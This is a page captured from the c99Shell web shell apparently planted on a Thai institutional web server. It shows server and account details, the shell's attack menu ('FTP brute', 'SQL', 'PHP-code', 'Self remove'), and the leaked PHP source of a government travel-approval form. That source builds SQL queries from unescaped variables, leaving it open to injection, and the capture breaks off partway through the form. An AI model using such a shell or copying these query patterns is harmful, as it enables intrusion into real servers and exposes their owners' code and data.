!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddFormPersonN.php (45.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
$myTable1 "budget_year_tb";
        
$query " SELECT *  FROM $myTable  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
        
$query1 " SELECT *  FROM  $myTable1   ";
        
$result1 $dbObj->execQuery($query1);
        
$rs $dbObj->fetchObject($result1);
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>งานพัฒนาบุคลากร-บันทึกการขอไปราชการ</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}


//-->
</script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
        if( (formObj.Training_name.value == "" ) && (formObj.Day.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false; }
    else if(formObj.Training_name.value == "" ) { alert("กรุณากรอก เรื่อง"); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false;} 
    else if(formObj.Travel.value == "" ) { alert("กรุณากรอก การเดินทาง"); formObj.Travel.style.backgroundColor='#F1F9FC'; formObj.Travel.focus(); return false;}
    else if(formObj.Orderlist.value == "" ) { alert("กรุณากรอก ข้อแผน"); formObj.Orderlist.style.backgroundColor='#F1F9FC'; formObj.Orderlist.focus(); return false;}
    else if(formObj.Day.value == "" ) { alert("กรุณากรอก จำนวนวัน"); formObj.Day.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false;}
    else return true ;
}
</script>
<script language="javascript">
//-->

function enableDropdown(){
        var form = document.form1;
        
        if(form.Teachbox1.checked){
            form.Teacher_code1.disabled = false;
            form.Orderlist1.disabled = false;
            form.Budget_use1.disabled = false;
        }
        else{
            form.Teacher_code1.disabled = true;
            form.Orderlist1.disabled = false;
            form.Budget_use1.disabled = false;
        }
        
        if(form.Teachbox2.checked){
            form.Teacher_code2.disabled = false;
        }
        else{
            form.Teacher_code2.disabled = true;
        }
        
        if(form.Teachbox3.checked){
            form.Teacher_code3.disabled = false;
        }
        else{
            form.Teacher_code3.disabled = true;
        }
        
        if(form.Teachbox4.checked){
            form.Teacher_code4.disabled = false;
        }
        else{
            form.Teacher_code4.disabled = true;
        }
        
        if(form.Teachbox5.checked){
            form.Teacher_code5.disabled = false;
        }
        else{
            form.Teacher_code5.disabled = true;
        }
        
        if(form.Teachbox6.checked){
            form.Teacher_code6.disabled = false;
        }
        else{
            form.Teacher_code6.disabled = true;
        }
        if(form.Teachbox7.checked){
            form.Teacher_code7.disabled = false;
        }
        else{
            form.Teacher_code7.disabled = true;
        }
        if(form.Teachbox8.checked){
            form.Teacher_code8.disabled = false;
        }
        else{
            form.Teacher_code8.disabled = true;
        }
        if(form.Teachbox9.checked){
            form.Teacher_code9.disabled = false;
        }
        else{
            form.Teacher_code9.disabled = true;
        }
        
        if(form.Teachbox10.checked){
            form.Teacher_code10.disabled = false;
        }
        else{
            form.Teacher_code10.disabled = true;
        }
        
        if(form.Teachbox11.checked){
            form.Teacher_code11.disabled = false;
        }
        else{
            form.Teacher_code11.disabled = true;
        }
        
        if(form.Teachbox12.checked){
            form.Teacher_code12.disabled = false;
        }
        else{
            form.Teacher_code12.disabled = true;
        }
        
        if(form.Teachbox13.checked){
            form.Teacher_code13.disabled = false;
        }
        else{
            form.Teacher_code13.disabled = true;
        }
        
        if(form.Teachbox14.checked){
            form.Teacher_code14.disabled = false;
        }
        else{
            form.Teacher_code14.disabled = true;
        }
        if(form.Teachbox15.checked){
            form.Teacher_code15.disabled = false;
        }
        else{
            form.Teacher_code15.disabled = true;
        }
        if(form.Teachbox16.checked){
            form.Teacher_code16.disabled = false;
        }
        else{
            form.Teacher_code16.disabled = true;
        }
}
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="form1" name="form1" method="post" action="InsertFormPersonN.php" onSubmit="return checkData();">
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; <a href="Menu_Form.php?Teacher_code=<?=$Teacher_code;?>">แบบฟอร์มราชการ</a> &raquo; <a href="RepFormAList.php?Flag=<?=$Teacher_code;?>&Year_std=<?=$Budget_year;?>">ข้อมูลการขออนุมัติเดินทางไปราชการ</a> &raquo; <span class="NOTE">ใบขออนุมัติไปราชการ</span></strong></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
          <table width="750" cellpadding="0" cellspacing="0">
                  <tr height="31">
                    <td height="31" colspan="6" align="center" class="PATRON11">บันทึกข้อความ</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" l>ส่วนราชการ <font size="2" face="Tahoma">
                      <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                    </font></td>
                  </tr>
                      <td height="29" colspan="2" align="left">ที่ สธ.0203.081/พิเศษ.........</td>
                    <td width="148" height="29" align="left">&nbsp;</td>
                    <td height="29" align="left">&nbsp;</td>
                    <td height="29" colspan="2" align="left"><span class="style1">วันที่</span> <span class="style5">*</span>
                      <select name="mDate" id="mDate" class="select" >
                        <? getDay1to31();?>
                      </select>
                    เดือน
                    <select name="mMonth" id="mMonth" class="select" >
                      <? getThaiMonth();?>
                    </select>
                    ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
                    <select name="mYear" id="mYear">
                      <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                      <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                        <?=$i;?>
                        </option>
                      <?php
                
# for
            
?>
                    </select>
                    </font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">เรื่อง  <font color="#0000FF" size="2" face="Tahoma">
                      <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุมัติเดินทางไปราชการ" size="25" />
                    </font></td>
                    <td width="35"></td>
                    <td width="202"></td>
                    <td width="155"></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
                      <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
                    </font></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="25"></td>
                    <td colspan="5" align="left">ข้าพเจ้า.<font color="#0000FF" size="2" face="Tahoma">
                      <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " />
                      </font> ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
                        <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value=" <? $PositionId =  $rss["PositionId"];
          
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
                        </font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">พร้อมด้วยผู้ร่วมเดินทางไปราชการ</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left"><table width="73%" height="232" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#eeeeee" style="border:0px solid gray">
                      <tr bgcolor="#EEEEEE">
                        <td width="7%" height="22" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 1</font></td>
                        <td width="93%" bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <label></label>
                          <input name="Teachbox1" type="checkbox" id="Teachbox1" onclick="enableDropdown()" />
                          <select name="Teacher_code1" id="Teacher_code1" class="input1"  disabled="disabled"/>
                            
                          <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'   and  Teacher_code ='$Teacher_code'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          ข้อ
                          
                          <label>
                            <input name="Orderlist1" type="text" disabled="disabled" id="Orderlist1" size="4" readonly="readonly" />
                          </label>
                          จำนวนเงิน</a>
                          <input name="Budget_use1" type="text" disabled="disabled" id="Budget_use1" size="4" />                          
                          <a href="javascript:;" onclick="MM_openBrWindow('PlaningByYearShowN.php?id=1&Faculty_code=04<? //echo $rs2[Faculty_code];?>','Detail','scrollbars=yes,width=820,height=280')"><img src="../images/icons/download.png" alt="เลือกข้อของแผนดำเนินการ" width="16" height="16" border="0" align="absmiddle" /></a></font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 2</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox2" type="checkbox" id="Teachbox2" value="checkbox"  onclick="enableDropdown()"/>
                          <select name="Teacher_code2" id="Teacher_code2" class="input1"  disabled="disabled" />
                            
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'  Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 3</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox3" type="checkbox" id="Teachbox3" value="checkbox"  onclick="enableDropdown()"/>
                          <select name="Teacher_code3" id="Teacher_code3" class="input1"  disabled="disabled" />
                           
                          <?php
           $strSQL2 
"SELECT * FROM  personal_tb   Where  StatusId ='1'  Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 4</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox4" type="checkbox" id="Teachbox4" value="checkbox"  onclick="enableDropdown()"/>
                          <select name="Teacher_code4" id="Teacher_code4" class="input1" disabled="disabled" />
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma">5</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox5" type="checkbox" id="Teachbox5" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code5" id="Teacher_code5" class="input1" disabled="disabled" />
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma">6</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox6" type="checkbox" id="Teachbox6" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code6" id="Teacher_code6" class="input1" disabled="disabled" />
                       
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 7</font></td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox7" type="checkbox" id="Teachbox7" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code7" id="Teacher_code7" class="input1" disabled="disabled" />
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">8 </td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox8" type="checkbox" id="Teachbox8" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code8" id="Teacher_code8" class="input1" disabled="disabled" />
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">9</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox9" type="checkbox" id="Teachbox9" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code9" id="Teacher_code9" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">10</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox10" type="checkbox" id="Teachbox10" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code10" id="Teacher_code10" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">11</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox11" type="checkbox" id="Teachbox11" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code11" id="Teacher_code11" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">12</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox12" type="checkbox" id="Teachbox12" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code12" id="Teacher_code12" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">13</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox13" type="checkbox" id="Teachbox13" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code13" id="Teacher_code13" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">14</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox14" type="checkbox" id="Teachbox14" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code14" id="Teacher_code14" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">15</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox15" type="checkbox" id="Teachbox15" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code15" id="Teacher_code15" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                        <tr bgcolor="#EEEEEE">
                        <td height="25" align="right" bgcolor="#FFFFFF">16</td>
                        <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                          <input name="Teachbox16" type="checkbox" id="Teachbox16" value="checkbox" onclick="enableDropdown()" />
                          <select name="Teacher_code16" id="Teacher_code16" class="input1" disabled="disabled" />                          
                          
                          <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                          </select>
                          </font></strong></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">สังกัด<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Name3" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40"  value="<?php $collegeCode =  $rss["collegeCode"];
                        
$sql "Select * From college   Where collegeStatus ='1'";
                         
$result1 mysql_query($sql) or die("Error".mysql_error());
                        
$rs2 mysql_fetch_array($result1);
                         echo 
"$rs2[collegeName]"?> " />
                    </font><span class="style11">สถาบันพระบรมราชชนก</span></td>
                  </tr>
                  
                  <tr height="29">
                    <td height="29" colspan="6" align="left">ขออนุมัติเดินทางไปราชการ เรื่อง  <font size="2" face="Tahoma"><span class="style9">*</span></font><font color="#0000FF" size="2" face="Tahoma">
                      <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70" />
                    </font></td>
                  </tr>
                  <tr height="29">
                    <td height="26" colspan="6" align="left">เดินทางโดย <font size="2" face="Tahoma">
                      <input type="radio" name="Travel" value="1" />
                    </font>โดยรถยนต์ของทางราชการ <font size="2" face="Tahoma">
                    <input type="radio" name="Travel" value="2" />
                    </font> รถยนต์ปรับอากาศ <font size="2" face="Tahoma">
                    <input type="radio" name="Travel" value="3" />
                    </font>รถไฟ <font size="2" face="Tahoma">
                    <input type="radio" name="Travel" value="4" />
                    </font>เครื่องบิน <font size="2" face="Tahoma">
                    <input type="radio" name="Travel" value="5" />
                    </font>รถยนต์ส่วนตัว &nbsp;&nbsp;&nbsp;<font color="#0000FF" size="2" face="Tahoma">&nbsp;
                    </font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left"><label>อ้างตามหนังสือราชการเลขที่</label> <span class="style5">*</span><font color="#0000FF" size="2" face="Tahoma">
                      <input name="No_in" type="text" id="No_in" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" />
                    </font><a href="javascript:;" onclick="MM_openBrWindow('bookCode.php?Faculty_code=<? echo $rss["Faculty_code"]?>','Detail','width=820,height=280,scrollbars=yes')"> <img src="../images/icons/download.png" alt="เลือกหนังสือ" width="16" height="16" border="0" align="absmiddle" /></a>
                    <input name="code" type="hidden" id="code" /></td>
                  </tr>
                  <tr height="29">
                    <td height="27" colspan="6" align="left"><a>เรื่อง</a> </font>
                      <input name="Status" type="text" id="Status" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="80" />
                    </font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">อ้างตามแผนดำเนินการ ข้อที่ </a>*</a>
                      <input name="Orderlist3" type="text" id="Orderlist3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" readonly  />
รายละเอียด
<input name="Project_plan3" type="text" id="Project_plan3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="55" readonly  />
</font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">จำนวนเงินสนับสนุน </a>*</a>
                      <input name="Budget_use3" type="text" id="Budget_use3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="6" onkeypress="checkNumeric()" onkeyup="checkBudget()"/>
                      </a> บาท<span id="budgetOver"></span>ปี งบประมาณ</a>
                      <input name="Year_std" type="text" id="Year_std" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs->Budget_year;?>" size="3" readonly  />
                      <input name="Budget_Year" type="hidden" id="Budget_Year" />
                      <input name="MoneyS_C" type="hidden" id="MoneyS_C" />
                      <input name="MoneyId" type="hidden" id="MoneyId" />
                      <input name="Faculty_code" type="hidden" id="Faculty_code" />
                      <a href="javascript:;" onclick="MM_openBrWindow('PlaningByYearPerson.php?Budget_Year=2552','Detail','scrollbars=yes,width=820,height=380')"><img src="../images/icons/download.png" alt="เลือกข้อของแผนดำเนินการ" width="16" height="16" border="0" align="absmiddle" /></a>
                      <input name="ProjectId" type="hidden" id="ProjectId" />
                    <input name="Project_code" type="hidden" id="Project_code" /></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">ตั้งแต่วันที่<font color="#000000"></font><span class="style5"> *
                        </span>
                      <font color="#000000">
<select name="mDate1" id="mDate1" class="select" >
                  <? getDay1to31();?>
                  </select>
                    เดือน
                    <select name="mMonth1" id="mMonth1" class="select" >
                      <? getThaiMonth();?>
                    </select>
                    ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
                    <select name="mYear1" id="mYear1">
                      <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                      <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                        <?=$i;?>
                        </option>
                      <?php
                
# for
            
?>
                    </select>
                    </font>ถึงวันที่<font color="#000000">&nbsp;</font><span class="style5">*</span><font color="#000000"> 
                        <select name="mDate2" id="mDate2" class="select" >
                          <? getDay1to31(); ?>
                        </select>
                        เดือน 
                        <select name="mMonth2" id="mMonth2" class="select" >
                          <? getThaiMonth(); ?>
                      </select>
